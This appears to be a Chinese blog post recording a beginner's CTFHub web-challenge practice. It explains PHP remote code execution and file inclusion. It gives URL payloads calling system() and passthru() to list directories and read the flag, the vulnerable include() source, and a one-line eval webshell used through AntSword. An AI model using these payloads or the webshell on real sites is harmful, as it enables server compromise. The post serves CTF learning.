ctf web方向与php学习记录20之RCE初见

一,RCE是什么?
1定义:RCE(remote command/code execute)远程代码执行,是互联网的一种安全漏洞。
2分类
(1)远程命令执行ping
(2)远程代码执行evel。
3漏洞出现的原因
没有在输入口做输入处理。
注意:由于传入的必须是有效的 PHP 代码,所有的语句必须以分号结尾。
二,ctfhub——eval执行
先执行
url+/?cmd=passthru(“ls”);或
url+/?cmd=system(“ls”);后无有效信息。
然后输入
url+/?cmd=passthru(“ls /”);或
url+/?cmd=system(“ls /”);发现flag信息。

在这里插入图片描述然后url+/?cmd=system(“cat /flag_7169”);即可。
在这里由于flag_7169是一个目录,所以加一“/”打开即可看见flag。
在这里插入图片描述当然直接用蚁剑连接也可以。
在这里插入图片描述
在这里插入图片描述
这道题主要是考远程代码执行evel,可以说是文件上传的基础内容。可以使用的php后端函数有system()、passthru()。shell_exec()按道理来说也可以,但是由于不会回显的原因以及我目前学习知识的有限,不予使用。
三,ctfhub——文件包含
1 strpos — 查找字符串首次出现的位置。
2 方法1
http://challenge-57a8c46cd4ed0029.sandbox.ctfhub.com:10080/?file=shell.txt
ctfhub蚁剑访问后台,在上级目录发现flag。
在这里插入图片描述
3 方法2
http://challenge-57a8c46cd4ed0029.sandbox.ctfhub.com:10080/?file=shell.txt
利用hackbar传参也可以,这里就不赘述了,大家可以百度查询
4最重要的是原理部分
首先,我们看一下题目给出的源码。

<?php
error_reporting(0);
if (isset($_GET['file'])) {           //file不为空则进入下一句
    if (!strpos($_GET["file"], "flag")) {  //file中查询不到flag就进入下一句
        include $_GET["file"];    //将file包含到后台中
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

关键在于这个shell.txt文件。根据题目给出的木马

<?php eval($_REQUEST['ctfhub']);?>

可知它请求到后台的参数是ctfhub,在这个基础上执行eval远端操作即可。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值